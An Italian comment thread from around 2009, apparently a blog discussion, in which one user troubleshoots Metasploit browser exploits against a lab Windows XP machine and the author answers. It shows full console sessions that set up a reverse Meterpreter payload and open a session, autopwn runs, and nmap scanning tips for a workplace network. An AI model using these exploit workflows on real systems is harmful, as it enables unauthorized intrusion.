5 Luglio 2009 alle 21:57
@Massimo
se non ricordo male gli exploit per adobe pdf non sono considerati da autopwn e servono per generare files .PDF che, una volta aperti, si occupano di sfruttare la vulnerabilità per eseguire il payload prescelto.
9 Luglio 2009 alle 14:57
Mirko ho provato a fare sia in autopwn che 1 exploit alla volta ma non capisco perchè mi dà sempre errore SSL! Ho provato proprio ieri ad applicare il nuovo exploit msvidctl_mpeg2 che è un gravissimo bug di microsoft e è sistemi che ne risentono: Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0! In virtuale ho xp SP3 senza aggiornamenti con IE7 e al 100% quel bug lo deve avere anche perchè non ancora hanno rilasciato nessuna Patch! Applico l'exploit:
msf > use exploit/windows/browser/msvidctl_mpeg2
msf exploit(msvidctl_mpeg2) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf exploit(msvidctl_mpeg2) > set LPORT 5001
LPORT => 5001
msf exploit(msvidctl_mpeg2) > set
Module: windows/browser/msvidctl_mpeg2
======================================
Name Value
---- -----
AutoLoadStdapi true
AutoRunScript
EXITFUNC process
EnableContextEncoding false
HTML::base64 none
HTML::javascript::escape 0
HTML::unicode none
HTTP::chunked false
HTTP::compression none
HTTP::header_folding false
HTTP::junk_headers false
LHOST 192.168.1.6
LPORT 5001
PAYLOAD windows/meterpreter/reverse_tcp
SRVHOST 0.0.0.0
SRVPORT 8080
SSL false
TCP::max_send_size 0
TCP::send_delay 0
msf exploit(msvidctl_mpeg2) > exploit
[*] Exploit running as background job.
msf exploit(msvidctl_mpeg2) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/ccpFdBT0Lxia8
[*] Local IP: http://192.168.1.6:8080/ccpFdBT0Lxia8
[*] Server started.
(Lancio il IE7 all'indirizzo http://192.168.1.6:5001)
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (206848 bytes)
SSL Error: SSL_accept returned=1 errno=0 state=SSLv2/v3 read client hello A: http request ecc...
Mi esce una lista enorme di errori e dopo un pò mi dà:
[*] Meterpreter session 1 opened (192.168.1.6:5001 -> 192.168.1.5:1598)
msf exploit(msvidctl_mpeg2) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.6:5001 -> 192.168.1.5:1598
msf exploit(msvidctl_mpeg2) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > ls
[-] Unknown command: ls.
Come vedi anche tu non sembra una cosa normale dov'è che sbaglio oppure ho qualche libreria mancante?? Credo di averle messe tutte perchè il resto di Metasploit funge è solo il browser_autopwn e cmq tutti i Client-Side danno questo tipo di errore!
Grazie Mirko 6 l'unico che che mi può aiutare a capire perchè veramente sto impazzendo! Ho provato di tutto ma quell'errore continua!
9 Luglio 2009 alle 18:27
@Massimo
secondo me sbagli semplicemente ad utilizzare l'exploit.
Quando esegui il comando:
stai infatti impostando la porta che verrà utilizzata dal reverse meterpreter e non quella che dovrai poi raggiungere mediante Internet Explorer che è invece rappresentata dal valore del parametro "SRVPORT" (default: 8080), ne consegue il fatto che per far funzionare l'exploit dovrai connetterti a "http://192.168.1.6:8080/" e non a "http://192.168.1.6:5001)"... se guardi bene quello che mi hai trascritto c'è una riga in cui metasploit ti informa di tutto ciò:
Anzi... ti viene data anche una ulteriore informazione che è l'URIPATH al quale la vittima troverà l'exploit, per default il suo valore è random ma lo puoi cambiare.
In sostanza, per far funzionare l'exploit correttamente, dovrai connetterti con IE7 all'url completo (protocollo://IP:porta/uripath) cioè:
Se ti posso dare un consiglio: utilizza sempre il comando "show options" per consultare le varie possibilità di configurazione offerte da un modulo, noto che tu invece utilizzi impropriamente a questo scopo il comando "set" il quale mostra soltanto le variabili che sono state effettivamente impostate (anche automaticamente) nascondendoti però tutto ciò che non hai preso in considerazione e che quindi risulta nullo... ad esempio "URIPATH".
L'errore SSL che ti appare non dipende secondo me dalla mancanza di librerie ma piuttosto dal fatto che meterpreter si aspetterebbe di instaurare una comunicazione SSL con il suo primo stage (reverse_tcp) ma ciò non avviene perché invece sei tu a contattarlo tramite protocollo HTTP; meterpreter infatti, per offrire all'attaccante un minimo di privacy ;-D, utilizza SSL per crittografare in memoria i comandi che verranno eseguiti sulla macchina vittima.
10 Luglio 2009 alle 0:10
Mirko per quanto riguarda l'attacco a 1 a 1 era come hai detto tu sbagliavo l'opzione SRVPORT Adesso funge e quando provo ad aprire la pagina mi chiede di eseguire l'ActivX e non mi dà più l'errore SSL! Mitico! Mentre il browser_autopwn nulla da fare ho provato di tutto ma ci deve essere per foza qualcosa che sbaglio ma non capisco dove! Ecco:
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf auxiliary(browser_autopwn) > set URIPATCH prova
URIPATCH => contatore
msf auxiliary(browser_autopwn) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(browser_autopwn) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf auxiliary(browser_autopwn) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.6 yes The IP address to use for reverse-connect payloads
LPORT 4444 no The starting TCP port number for reverse-connect payloads
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 80 yes The local port to listen on.
SSL false no Use SSL
URIPATH no The URI to use for this exploit (default is random)
msf auxiliary(browser_autopwn) > exploit
[*] Auxiliary module running as background job
msf auxiliary(browser_autopwn) >
[*] Starting exploit modules on host 192.168.1.6...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/y4QaiO
[*] Local IP: http://192.168.1.6:80/y4QaiO
ecc...
Li carica tutti senza problema tranne gli ultimi 2 forse sia normale perchè le porte forse saranno giò aperte:
[-] Exploit failed: The address is already in use (0.0.0.0:139).
[-] Exploit failed: The address is already in use (0.0.0.0:445).
ma quando vado ad aprire IE dall'xp http://192.168.1.6/prova mi esce impossibile visualizzare la pagina! Se invece vado su http://192.168.1.6:4444/prova
Mi esce sul terminale:
msf auxiliary(browser_autopwn) > [*] Command shell session 1 opened (192.168.1.6:4444 -> 192.168.1.4:1136)
ma non fa nulla... non lancia gli exploit e cmq sia è sbagliato mi dovrebbe darlo sulla porta 80 e non 4444 giusto?
Ok proviamo in un'altro modo inserendo anche SRVHOST 192.168.1.6 ma mi dà errore quando carica gli exploit:
[-] Auxiliary failed: Rex::AddressInUse The address is already in use (192.168.1.6:80).
[-] Call stack:
[-] /lib/rex/socket/comm/local.rb:142:in `create_by_type'
[-] /lib/rex/socket/comm/local.rb:26:in `create'
[-] /lib/rex/socket.rb:45:in `create_param'
[-] /lib/rex/socket/tcp_server.rb:38:in `create_param'
[-] /lib/rex/socket/tcp_server.rb:27:in `create'
[-] /lib/rex/proto/http/server.rb:131:in `start'
[-] /lib/rex/service_manager.rb:80:in `start'
[-] /lib/rex/service_manager.rb:24:in `start'
[-] /lib/msf/core/exploit/http.rb:326:in `start_service'
[-] /lib/msf/core/exploit/tcp.rb:287:in `exploit'
[-] (eval):256:in `run'
Giustamente dice che l'ip esiste già! Tanto per provare ho inserito l'ip vittima magari va eseguito su un'ip specifico ma niente lo stesso anche perchè non sarebbe normale come cosa! E' duro questo browser_autopwn! Grazie Mirko attendo come sempre la tua illuminazione! :D
10 Luglio 2009 alle 0:28
Mirko sai cosa ho scoperto? Che non riesce a memorizzare il comando URIPATCH ecco perchè mi dice "Impossibile visualizzare la pagina" perchè il percorso non è corretto! Anche nei singoli attacchi pure se glielo imposti non funge! Guarda nei settaggi esce:
Name Value
---- -----
AutoLoadStdapi true
AutoRunScript
EXITFUNC process
EnableContextEncoding false
HTML::base64 none
HTML::javascript::escape 0
HTML::unicode none
HTTP::chunked false
HTTP::compression none
HTTP::header_folding false
HTTP::junk_headers false
LHOST 192.168.1.6
LPORT 4444
PAYLOAD windows/meterpreter/reverse_tcp
SRVHOST 192.168 .1.6
SRVPORT 8080
SSL false
TARGET 0
TCP::max_send_size 0
TCP::send_delay 0
URIPATCH prova
Ma ma se apro http://192.168.1.6:8080/prova non funge! Se invece apro la pagina con URIPATCH creato da lui
[*] Using URL: http://192.168.1.6:8080/0YZVj7
Così va! Cosa può essere?
10 Luglio 2009 alle 7:31
@Massimo
perché è "URIPATH" e non "URIPATCH", devi fare:
Per quanto riguarda invece questo errore:
potrebbe essere causato dal fatto che sul tuo sistema è attivo il servizio di condivisione file samba e quindi metasploit trova quelle porte (139 e 445) già utilizzate da qualche altro processo.
In linux per elencare tutte le porte in ascolto puoi utilizzare il seguente comando:
E ancora:
La porta 4444 è giusta, è il valore della variabile LPORT usata dal payload per la reverse shell.
Per ultimo:
Non ti serve impostare SRVHOST, il suo valore di default è "0.0.0.0" cioè tutti gli IP disponibili.
13 Luglio 2009 alle 16:11
ciao a tutti e complimenti per l'articolo Mirko! Davvero molto utile!
Comunque avrei una domanda da porre:
ho letto i vari post e ho notato che alla fine si è discusso sempre di attacchi diretti o web-based all'interno della rete domestica utilizzando gli ip forniti dal router;
quello che vorrei fare io invece è quello di testare i miei computer che il più delle volte rimangono accesi anche tutta la notte: se i computer stanno a casa il problema non è chi è connesso al modem ma chi dall'esterno cerca di entrare, giusto?
Allora ho fatto delle prove e, dopo aver recuperato l'ip publico assegnato al mio modem, sono andato a casa da un mio amico e ho provato ad attaccare l'indirizzo;
il problema è che in questo modo non riesco a rilevare i diversi pc connessi (che sono 2, uno con winXP e l'altro con linux) ne ad avere una stima certa per poter effettuare un attacco mirato ad un determinato pc: ad esempio voglio attaccare direttamente il mio pc con Winzoz e non quello con linux; poi c'è anche il fatto che molte versioni di xp non vengono riconosciute come tali: infatti nmap dice che ci sono troppe "impronte digitali" (fingerprints) per poter riconoscere che SO sia installato....
E dopo questo poema chiedo aiuto a qualcuno di voi che certamente conosce meglio questo framework e vuole dare una mano ad un noob come me :)
ps. I pc connessi hanno come SO windowsXP Sp3 e linux mint; l'attacco viene eseguito da un portatile con linux
13 Luglio 2009 alle 20:48
@Quentin
I pc appartenenti ad una rete LAN sono mascherati dal modem/router/firewall grazie alla funzionalità NAT e non sono quindi raggiungibili direttamente da internet tranne che per le porte stabilite nelle regole di port forwarding (ammesso che ne esistano), questo è il motivo principale per il quale gli attacchi client-side vengono normalmente messi in atto per mezzo di phishing.
Ti consiglio di leggere un approfondimento sull'argomento NAT.
15 Luglio 2009 alle 12:36
per cui sarebbe possibile solo se avessi le porte aperte per bit torrent o emule, o anche le porte usate da un programma di tunneling per qualche videogioco giusto?
15 Luglio 2009 alle 14:15
@Quentin
sì, e tale porta aperta deve anche essere utilizzata da un servizio/programma che possa essere contattato e sfruttato al fine di prendere il controllo della macchina che lo esegue; una porta aperta di per sé non è così pericolosa se non è "ascoltata" da un programma (buggato o mal configurato) in grado di accettare ed interpretare le informazioni che essa riceve.
15 Luglio 2009 alle 18:39
Capito... perciò si può stare abbastanza tranquilli anche perché di exploit per emule o bit torrent (uso transmission) non mi pare ce ne siano, giusto?
Mirko volevo chiederti un'altra cosa:
tempo fa avevo come isp fastweb, che come è noto, a meno che non paghi 20 euro per un ip pubblico, non sei raggiungibile dagli altri isp. Questo vuol dire che se già è difficile attaccare un pc in questo modo, allora un utente su fastweb non può proprio essere attaccato se non da un'altro utente fastweb? Giusto? O la mia è un'ipotesi campata per aria?
15 Luglio 2009 alle 20:23
@Quentin
non sono aggiornato sugli exploit disponibili (in the wild) per le versioni attuali dei due software che hai nominato ma per le vecchie versioni di emule sono sicuro che ne esistano.
La tua ipotesi sugli utenti fastweb è condivisibile ma sono abituato a non escludere mai totalmente nessuna possibilità, anche la più remota :-) … cmq sì, è altamente improbabile un attacco diretto sulle loro porte. Va sempre tenuto presente però che ormai, se parliamo di computer client (non server), la tendenza non è più quella di attaccarli direttamente sulle loro porte ma quella di sfruttare a questo proposito i canali di comunicazione che essi aprono verso internet e sui quali sono effettivamente raggiungibili (applicazioni web, siti internet, proxy, protocolli di tunnelling, IM, Chat)… per non parlare delle tecniche di phishing.
1 Ottobre 2009 alle 22:12
Ciao Mirko! Rieccomi di nuovo sul mio fedelissimo Portale con un nuovo problema fresco di giornata purtroppo... uso Ubuntu 9.04 ho effettuato l'update della distro con i nuovi aggiornamenti tra cui c'era un nuovo rilascio del kernel... ok! Poi ho fatto anche l'update di Metasploit come sempre... sai adesso che mi succede? Lancio Metasploit con il consueto comando da console: sudo ./msfconsole
Esso carica l'applicazione ma subito dopo che appare le solite scritte 408 Exploit... Payload ecc.. mi appaiono queste stringhe di errore:
/home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2432:in `rl_parse_and_bind': (eval):1:in `rl_parse_and_bind': compile error (SyntaxError)
(eval):1: syntax error, unexpected tIDENTIFIER, expecting $end
$if mode=emacs
^
from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2148:in `_rl_read_init_file'
from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2144:in `each_line'
from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2144:in `_rl_read_init_file'
from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2120:in `rl_read_init_file'
from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2534:in `readline_initialize_everything'
from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:3760:in `rl_initialize'
from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:4760:in `readline'
from /home/Massimo/Documenti/Metasploit/lib/readline.rb:68:in `readline'
from /home/Massimo/Documenti/Metasploit/lib/rex/ui/text/input/readline.rb:80:in `pgets'
from /home/Massimo/Documenti/Metasploit/lib/rex/ui/text/shell.rb:117:in `run'
from ./msfconsole:82
E' successo anche a te? Ho provato sia sul mio portatile EeePc 1000H con Ubuntu 9.04 sia sul Pc fisso sempre con la stessa distro! Cosa è certa che non ho installato nulla che poteva dare conflitto tranne che l'update del kernel! Ho provato anche a cancellare la cartella di Metasploit e scaricarmi la nuova magari l'update dell'applicazione non era riuscita ma nulla da fare! Da cosa può dipendere? Grazie come sempre!
2 Ottobre 2009 alle 7:04
@ Massimo
prova ad aggiornare metasploit alla revisione odierna (7113) mediante il solito comando:
il problema dovrebbe così risolversi.
2 Ottobre 2009 alle 9:43
Mirko per fortuna era l'update! Chissà magari quello di ieri troppe fix avrannò dimenticato qualcosa! Come sempre grazie del tuo supporto! A Presto! ;)
1 Ottobre 2009 alle 22:53
Mirko guarda se ti può servire ho fatto un pò di ricerche ma non ho trovato nulla tranen che questo identico problema al mio:
http://trac.metasploit.com/ticket/347
2 Ottobre 2009 alle 11:00
Mirko un'altra cosa che ho notato non sò se è solo a me cmq prima non lo faceva... che sempre da console quando per esempio vuoi cancellare qualcosa che si trova in mezzo a un comando rallenta tantissimo e il processore lavora al 100%! Mi confermi che è solo a me questo problema o una cosa che si è venuta a creare ultimamente nell'applicazione?
Esempio: db_services
e voglio cancellare dalla penultima parola "E" in poi... il processore inizia a lavorare tantissimo o anche quando si fa un incolla lo inserisce lentamente!
Da qualche giorno che lo fa.. prima era perfetto ed è un P4 1500 mhz!
Entro oggi voglio provare sul EeePc anche se cmq è davvero strano era una scheggia nell'esecuzione dei comandi nonostante è un pc vecchio!
Magari hanno cambiato il core del Framework e i processori vecchi ne risentono!
Attendo la tua risposta e entro oggi ti dico la mia se ne risente anche il portatile nuovo! Grazie!
2 Ottobre 2009 alle 13:12
@ Massimo
sui miei computer risulta minimamente lento quando, come hai detto tu, si cerca di cancellare un comando digitato.
Probabilmente sento molto meno il problema rispetto a te perché ho un processore più moderno.
Sicuramente si tratta di qualche bug, appena possibile lo segnalo.
2 Ottobre 2009 alle 19:50
Mirko ti dò la conferma che anche sul mio EeePc fa la stessa cosa della lentenza e in più ho fatto provare anche ad un mio amico anche a lui uguale! Come dici te sarà un bug nell'applicazione speriamo che lo riparano presto che di questo passo il processore del il mio povero Pc vecchio si squaglierà del tutto! :D
Grazie per i dubbi Mirko! ;)
9 Novembre 2009 alle 13:14
Ciao Mirko! Mi sà che ho scoperto un bel bug sull'automazzione di metasploit! Infatti aspetto conferma anche da te di questa cosa... ho notato che dopo lo scan tramite db_nmap di determinate porte sulla rete aziendale cosa succede... che nel database creato con il db_create immagazina tutti gli IP up e ti dice quelli con la porta "filtered closed o open" fino a qui tutto ok è sempre stato così ma se si prova a fare il db_services ti spara tutti gli ip compresi quelli con la porta chiusa o filtrata! Poi quando si lancia l'automazzione lui lancia gli exploit anche su quegli ip con la porta chiusa o filtrata e non va bene perchè lo stesso cosa deve attaccare in quel caso? :D
Anche impostando l'opzione -p nell'automazzione lancia l'attacco ugualmente su porte chiuse e filtrate! Attendo i tuoi saggi consigli! :)
10 Novembre 2009 alle 23:42
Probabilmente in questo periodo forse stai impegnato cmq ho capito che è un bug della 3.3 perchè ho provato a fare una prova con la 3.2 e prende in considerazione solo gli ip con una determinata porta aperta! Provvedo a comunicarlo alla community di metasploit sperando che risolvino presto questa bug!
11 Novembre 2009 alle 7:10
@ Massimo
Hai ragione, sono molto impegnato in questo periodo e purtroppo riesco a risponderti soltanto ora.
Ho fatto una prova con Metasploit ultima revisione e mi sembra funzionare tutto correttamente, ovvero con l'opzione "-p" non vengono selezionati exploit per le porte in stato di "closed".
Se vuoi ti posso mandare via mail i log delle prove che ho fatto, dimmi tu.
Ciao.
11 Novembre 2009 alle 12:28
Ciao Mirko! Stanotte ho fatto riparare il database io stesso ecco perchè va bene ora! Sono andato sul loro canale irc e ho parlato con gli admin di Meta dopo un 10 minuti l'hanno capito perchè non mastico benissimo l'inglese :D
Adesso cosa succede che se fai 1 scan a molti ip di rete su una determinata porta finalmente il database ti seleziona gli ip per (Open, Closed e Filtered) mentre prima ti diceva STATE=UP e non andava bene perchè quando lanciavi l'automazione lanciava gli exploit su tutti gli ip e porte e non andava bene così! Un bug vero e proprio!
Solamente che hanno corretto questo problema ma è rimasto sempre un'altro... quello che quando finisci lo scan non vedo il perchè Metasploit deve memorizzarci tutti ip UP anche con le porte chiuse! A cosa ci serve questo non lo sò -.-
La vedo come una cosa che ci appesantisce l'applicazione! Infatti 1 scan su un'intero range di pc di rete tipo 192.168.1.2-255 e calcoliamo che sulla mia rete aziendale abbiamo 150 pc sai quanto tempo ci mette l'automazione a lanciarsi? La bellezza di 15 minuti! Non è normale come cosa! Loro danno la colpa al database Sqlite3 che è lento e nella versione 3.4 rimedieranno con la sostituzione da Sqlite a Postgres! Ma dico io... lasciate com'era prima invece di appesantire l'applicazione di cose inutitili! Basta guardare la 3.2 una scheggia! Poi è ovvio anche che ci mette molto più tempo a completare lo scan perchè deve memorizzare tutti gli ip nel db!
Vabbè attendiamo e vediamo se si rendono conto loro stessi! Grazie Mirko come sempre! ;)
11 Novembre 2009 alle 13:39
@ Massimo
Capisco.
Beh... hai fatto benissimo a segnalare il problema, ormai fai parte della comunità ;-)
Complimenti e grazie a te per l'aggiornamento.
17 Novembre 2009 alle 14:26
Ciao Mirko! A quanto pare hanno aggiunto direttamente il Postgres già alla 3.3 perchè secondo loro il db Sqlite3 è molto lento senza capire che è diventato lento perchè lo hanno appesantito loro di altre utility inutili... chissà perchè la 3.2 va bene! Mhà! Cmq Mirko volevo sapere se per caso sai dove posso trovare la stringa del codice in metasploit che fa memorizzare tutti gli ip UP nel database (quando lanciamo il comando db_nmap) e modificarla che quando ha finito lo scan deve memorizzare nel DB solo gli ip con le porte aperte? Io ho smanettato un pò nei file ruby l'unico interessante è questo file "lib/msf/ui/console/command_dispatcher/db.rb" che sembra sia quello che fa tutto! Ho provato a smanettarci cambiando delle voci tipo da "up" a "open" ma non funge! Spero che riesci ad aiutarmi in modo che metaploit me lo personalizzo a mia preferenza siccome gli admin non mi ascoltano e pensano a fare figo il programma senza pensare alla leggerezza!
Grazie come sempre!
18 Novembre 2009 alle 9:25
@ Massimo
Io se fossi in te, prima di effettuare modifiche al codice di Metasploit, proverei a filtrare i risultati direttamente attraverso nmap... ti faccio un esempio:
Il comando fa in modo che nmap esegua il discovery degli host cercando di inizializzare una connessione con una porta specifica (opzione "-PS139") piuttosto che utilizzare i metodi comuni (ARP Scan, Risoluzione DNS ed ICMP Ping... opzioni "-n" e "--send_ip"). In questo modo vengono considerati online, e quindi inseriti nel "db_hosts" di Metasploit, soltanto quegli host che non sono protetti da firewall o che presentano tale porta in stato di "open" oppure "closed". La stessa viene infine scansionata con un SYN Scan (opzioni "-sS" e "-p139") e mostrata come risultato interessante soltanto se in stato di "open" (opzione "--open"), quest'ultima opzione è importante perché fa in modo che Metasploit non inserisca nel "db_services" porte "closed" oppure "filtered".
18 Novembre 2009 alle 10:47
Mirko non sò che dirti... semplicemente che sei il mio salvatore! ahahaha! Funge alla perfezione quel comando e memorizza solamente gli ip aperti e l'autopwn parte subito perchè analizza solo gli ip open! Mentre prima l'autopwn doveva analizzarseli gli ip nella lista tra open,closed e filtered e crearsi una specie di secondo database virtualizzato di soli ip open e ci metteva un'eternita a lanciarsi l'automazione! Adesso va proprio come prima anche con il mitico Sqlite3 che ormai mi ci ero affezionato!
Mirko grazie di tutto un giorno verrò da te ad offrirti una birra! :D
A presto! ;)
18 Novembre 2009 alle 11:39
@ Massimo
Perfetto :-)
Ciao, a presto.
19 Novembre 2009 alle 15:17
Ciao Mirko! Ora va tutto bene proprio come volevo io! Volevo chiederti una cosa... siccome vedo che sai i comandi perfettamente bene di nmap per caso c'è un modo per dire a nmap di vedere se l'ip è down o up scavalcando i test ICMP e lanciando direttamente il ping su una determinata porta? Perchè molti ip ovviamente dice che sono down non rispondendo al ping perchè sono protetti da firewall o dal blocco ICMP del router mettere l'opzione -PN mi satura del tutto la connessione mentre stavo pensando... se invece fare il ping ICMP lo si fa attraverso TCP? E' possibile questo?
19 Novembre 2009 alle 15:50
Mirko mi sà tanto che la metto già in pratica questa cosa perchè è l'opzione -PS che già mi hai dato nella discussione precedente -PS "TCP SYN Ping" giusto? Però ho letto che a volte i firewall oggi bloccano questi tipi di attacchi SYN mentre gli ACK passano indisturbati quindi opzione -PA vero? L'ho letto sulla guida di nmap "Host Discovering"! Tu cosa mi consigli?
19 Novembre 2009 alle 22:05
@ Massimo
Sì, puoi fare un “TCP Syn Ping” verso una porta specifica e l’opzione è quella che ti avevo già dato (-PS).
La soluzione migliore per scovare gli host “vivi” in una subnet LAN (rete locale) è quella di utilizzare l’ARP Scan, Nmap lo fa già in maniera predefinita.
Quando invece tali host si trovano oltre un firewall oppure un router non è ovviamente possibile utilizzare l’ARP Scan e bisogna ricorrere ad ICMP oppure TCP Ping. ICMP spesso è bloccato dalle regole firewall e quindi normalmente ha poco successo, questo ci porta a parlare di “ACK Ping” e “SYN Ping”. Quale sarebbe meglio utilizzare? La risposta dipende da una serie di fattori.
Con “ACK Ping” si cerca di ottenere una risposta fingendo di aver già inizializzato una connessione verso un determinato host, questa tecnica non funziona con i firewall di tipo “stateful” (oggi sono molti).
Con “Syn Ping” invece si finge di voler inizializzare una nuova connessione, questa tecnica ovviamente non può fallire se indirizzata verso una porta del firewall dietro la quale risponde effettivamente un servizio.
Ciò che dici tu riguardo al blocco dei SYN è vero soltanto quando il firewall non pubblica nessun servizio e quindi le porte risultano tutte “filtrate”, in questo caso infatti tutti i pacchetti con flag SYN vengono scartati.
Alla luce di quanto appena detto: se sei già a conoscenza di una porta sicuramente aperta allora ti conviene senza dubbio utilizzare un “Syn Ping” verso di essa, altrimenti dovresti utilizzare una combinazione di “ACK Ping” e “SYN Ping” verso porte diverse (le principali).
La mia opinione in merito è che se il tuo scopo è quello di scansionare un unica porta e stabilire se sia “aperta” o “chiusa” allora puoi tranquillamente ignorare lo stato di quegli host che non rispondono ad un “SYN Ping” sulla stessa e quindi procedere utilizzando un comando come quello che ti ho dato in precedenza.
19 Novembre 2009 alle 22:37
Mirko sei stato chiarissimo! Come dici te in questo caso mi conviene l'opzione che mi hai dato in precedenza -PS e vado con il SYN! Credo sia la soluzione migliore per il mio caso! Grazie come sempre! A presto! ;)
26 Novembre 2009 alle 8:30
Io vorrei sapere come aprire la porta 445 ? premetto che sto cercando di entrare nel pc dio mio fratello pero la porta 445 e filtrata....ho distattivato il firewall di windows xp ed e andato tutto bene . Volevo sapere se c era qualche trucco x aprire la porta 445 .
Grazie in anticipo
26 Novembre 2009 alle 13:57
@ Danilo
dare questo genere di informazioni non è lo scopo di questo sito.
Ciao.
3 Dicembre 2009 alle 14:56
Ciao Mirko! Mi chiedevo per salvare il log di quando si lancia l'automazione quale opzione bisogna inserire nell'autopwn? Ho provato a vedere l'help oltre alle opzioni standard -e -t -p non credo ci sia una possibilità di salvare il log! Attendo tue notizie! Grazie Mirko!
3 Dicembre 2009 alle 20:54
@ Massimo
Ciao,
non mi è mai capitato di voler loggare questo genere di informazioni.
Per quanto ne so Metasploit prevede la creazione di alcuni file di log nella cartella ".msf3" presente nella tua home.
Più precisamente in:
Se fossi in te proverei ad approfondire questo aspetto del framework, posso dirti inoltre che i file di log dipendono in parte dalla variabile globale "LogLevel" che per default non è impostata ma può assumere un valore da 0 a ... 5(?) non sono sicuro di quest'ultimo.
Puoi settarla direttamente dalla console in questo modo:
Per eliminarla invece:
Fammi sapere! :)
4 Dicembre 2009 alle 1:33
Mirko grazie per la risposta! Entro la giornata di oggi faccio una prova e ti faccio sapere perchè ovviamente tramite l'autopwn bisogna stare a vedere ogni stringa per cercare di capire con che exploit si è effettuato il test mentre con un log ci si può anche allontanare dal pc e prendersi un caffè nel frattempo che finisce! :)
Ti faccio sapere appena provo! ;)
4 Dicembre 2009 alle 23:27
Mirko allora i log già li salvava in automatico! Anzi ti ringrazio assai perchè avevo un bel log di grosse dimensioni! Per fortuna che mi hai fatto notare questa cartella altrimenti chissà quanto poteva diventare! :D
Grazie come sempre! A Presto! ;)
3 Gennaio 2010 alle 13:54
Ciao Mirko! Prima di tutto Auguri di Buon Anno! :D
Ho notato che ultimamente hanno riportato qualche modifica nel Time del database Sqlite! Ti faccio un'esempio... quando si finisce lo scan di un range con nmap, ovviamente sempre da msf, prima riusciva subito ad analizzare gli ip con le porte aperte e in effetti l'hard disk con la CPU lavoravano al massimo ma nel giro di 2 minuti mi sparava la console per poi inserire il comando dell'automazzione mentre ora noto che ci mette il doppio del tempo:
(range locale aziendale)
The 1 scanned port on 192.168.1.255 is closed
Nmap done: 26775 IP addresses (102 hosts up) scanned in 159.90 seconds
(prima della console c'ha messo più o meno 15 minuti cosa che prima l'intero range ci metteva tra i 2-3 minuti)
msf>
Pensa che ho dovuto inserire nello scan il range separato 192.168.1-150.1-255 e dopo 192.168.151-255.1-255 altriementi la console me la dava dopo mezz'ora! :|
Quindi Mirko quello che vorrei sapere se per caso è possibile settare il tempo di analisi dalla console oppure applicando qualche modifica manuale a qualche sorgente tipo db.rb (credo io) ma ho provato a vedere non ho trovato nulla riguardante il time! Siccome il mio nuovo pc può lavorare tranquillamente con 4 cuori quindi posso sfruttare senza problemi il carico assoluto! Grazie come sempre! :)
3 Gennaio 2010 alle 17:05
Oppure Mirko sai cosa avevo pensato? Invece di fare le modifiche manuali o altro... se c'è qualche comando dentro a nmap che fa da esclusione closed e filtered!ES:
The 1 scanned port on 192.168.1.248 is filtered
The 1 scanned port on 192.168.1.250 is closed
The 1 scanned port on 192.168.1.253 is closed
Ti spiego meglio... invece di far cercare gli IP UP per poi darci quelli con determinate porte aperte farlo cercare direttamente quelli OPEN! Perchè da come ho capito il db effettua un'analisi di tutta la lista che nmap ha cercato e ha il copito che quando trova quelli OPEN li memorizza ma nel frattempo se si ha una lista enorme di IP UP ma su 1000 pc UP solo una 20ina hanno quella porta aperta lo stesso ci impiega molto tempo ad analizzare se invece diciamo a nmap di darci solo gli ip con la porta aperta invece degli IP UP la questione credo che cambi perchè l'analizzatore ci impiegherà 1 secondo... appunto perchè analizza direttamente quelli OPEN che ne sono pochissimi in lista! Io ho provato a fare delle ricerche sul web ma senza nessun successo non sò se esiste un comando del genere da integrare in quello che già mi hai dato "db_nmap -PS80 ecc.."
Quando l'analizzatore lavorava a busso non c'erano problemi perchè subito analizzava e mi restituiva la console "msf>" ma siccome adesso hanno inserito questo limitatore la questione cambia perchè mezz'ora è troppo! Attendo i tuoi consigli! :)
3 Gennaio 2010 alle 23:10
@ Massimo
Ciao ;-)
non ho ricontrollato ma ricordo che l'opzione "--open" di nmap che ti avevo dato in passato dovrebbe scartare tutti quei risultati che non sono "open".
3 Gennaio 2010 alle 23:29
Si Mirko l'opzione --open prende tutti i valori open però volevo sapere se c'era un modo per escludere totalmente l'analisi di quelli "Closed e Filtered" in modo da velocizzare l'analisi del db Sqlite per il fatto che hanno impostato questo "time" se lo vogliamo chiamare così! Ci mette davvero troppo tempo! Probabilmente hanno voluto inserire questo limite per chi possiede un PC vecchio e lasciandolo con le impostazioni di prima forse avrebbe provvocato qualche crash (tipico del mio ex PC P4 1500 mhz che dovevo lasciare solo metasploit in esecuzione altrimenti mi si crashava se aprivo altre cose) ma siccome adesso ho un nuovo PC posso sfruttarlo al massimo! Il problema è proprio a questo punto:
Nmap done: 26775 IP addresses (102 hosts up) scanned in 159.90 seconds
è qui che ci mette un sacco di tempo perchè inizia l'analisi della lista degli IP che deve individuare quali sono quelli da immagazzinare nel db se invece lui analizza solamente quelli Open senza ricontrollare i Closed e Filtered credo che il tempo di attesa sarebbe la metà totale anche con il limite impostato da loro! Dici che è risolvibile il fatto?
4 Gennaio 2010 alle 7:42
@ Massimo
So che di recente è stata fatta qualche modifica sostanziale al comando db_autopwn per migliorare la selezione delle vulnerabilità, il 17 novembre (data di rilascio di metasploit 3.3) sul blog ufficiale si legge:
